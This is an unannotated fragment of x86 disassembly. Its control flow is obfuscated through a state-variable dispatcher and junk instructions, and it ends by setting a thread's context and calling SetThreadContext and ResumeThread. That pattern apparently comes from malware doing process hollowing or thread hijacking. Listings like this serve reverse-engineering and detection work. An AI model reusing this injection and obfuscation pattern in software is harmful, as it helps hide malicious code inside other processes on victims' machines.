jmp 0x1000ba21
mov eax, dword [ebp - 0xf8]
mov dword [ebp - 0x138], 0x94c03165
jmp 0x1000ba21
mov eax, dword [ebp - 0x80]
mov eax, dword [ebp - 0x7c]
mov eax, dword [ebp - 0x80]
mov eax, dword [ebp - 0x7c]
mov eax, dword [ebp - 0x80]
mov eax, dword [ebp - 0x7c]
mov eax, dword [ebp - 0x80]
mov eax, dword [ebp - 0x7c]
mov eax, dword [ebp - 0x80]
mov eax, dword [ebp - 0x7c]
mov eax, dword [ebp - 0x84]
mov dword [ebp - 0x138], 0xbbdac
jmp 0x1000ba21
mov dword [ebp - 0x138], 0xa7befec
jmp 0x1000ba21
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x138], 0xcedb86f7
jmp 0x1000ba21
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x10]
mov ecx, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x1c]
add ecx, 0x2dceab00
add ecx, eax
sub ecx, 0x2dceab00
mov eax, dword [ebp - 0x108]
mov eax, dword [eax]
mov dword [eax + 0xb0], ecx
mov eax, dword [ebp - 0x108]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x100]
mov ecx, dword [ecx + 4]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
mov eax, dword [ebp - 0x100]
mov eax, dword [eax + 4]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov dword [ebp - 0x138], 0x817bbfa3
jmp 0x1000ba21
jmp 0x10003457